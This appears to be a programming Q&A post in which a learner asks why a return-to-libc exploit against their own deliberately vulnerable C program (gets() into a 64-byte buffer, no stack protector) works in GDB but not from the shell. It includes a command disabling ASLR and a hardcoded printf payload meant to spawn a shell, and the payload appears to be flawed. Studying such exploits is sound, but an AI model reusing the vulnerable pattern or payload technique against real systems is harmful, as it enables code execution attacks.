title: (Another) Return to Libc Attack: Won't Segfault or Return to Libc With Malicious Input. Works in GDB though
body: <p>I'd like to learn how return to libc attacks work, so I have written a vulnerable program so that I can change the return address of a function to that of <code>system()</code>. However, the program doesn't appear to call <code>system()</code> and exits cleanly.</p>
  
  <h2>Prerequisites</h2>
  
  <p><strong>-</strong> I'm using Debain Squeeze</p>
  
  <p><strong>-</strong> I have disabled address randomization with:</p>
  
  <pre><code>echo 0 &gt; /proc/sys/kernel/randomize_va_space
  </code></pre>
  
  <h2>Vulnerable Code</h2>
  
  <pre><code>#include &lt;stdio.h&gt;
  
  void someFunc(void);
  
  void someFunc(void){
      char buffer[64];
  
      gets(buffer);
      //puts(buffer);
  }
  
  int main(int argc, char **argv)
  {
      someFunc();
      return 0;
  }
  </code></pre>
  
  <p>The code is compiled with:</p>
  
  <pre><code>gcc -fno-stack-protector -ggdb -o vuln vuln.c
  </code></pre>
  
  <p>Using GDB I have asserted that:</p>
  
  <ol>
  <li><code>/bin/zsh</code> is @ <code>0xbffff9b9</code></li>
  <li><code>system()</code> is @ <code>0xb7ed0000</code></li>
  <li><code>exit()</code> is @ <code>0xb7ec60f0</code></li>
  </ol>
  
  <h2>Exploit</h2>
  
  <p>I exploit it by piping in <code>72</code> zeros, exit, system and the pointer to <code>/bin/zsh</code>, in that order:</p>
  
  <pre><code>printf "%072x\xf0\x60\xec\xb7\x00\x00\xed\xb7\xb9\xf9\xff\xbf" | ./vuln
  </code></pre>
  
  <p>The program doesn't segfault or execute <code>/bin/zsh</code>.</p>
  
  <h2>In GDB</h2>
  
  <p>Interestingly, if I change <code>SHELL="/xin/zsh"</code>, and execute it in gdb, the system call works:</p>
  
  <pre><code>Cannot exec /xin/zsh
  </code></pre>
  
  <p>So my questions are:</p>
  
  <ol>
  <li><p>Have I understood the return to libc attack concept correctly?</p></li>
  <li><p>Am I piping the malicious code in the correct way and order?</p></li>
  <li><p>Why does it appear to work in GDB, but not in the shell? <br>
  (I've already read <a href="https://stackoverflow.com/questions/4177996/return-to-libc-works-in-gdb-but-not-when-running-alone">return to libc works in gdb but not when running alone</a>)</p></li>
  </ol>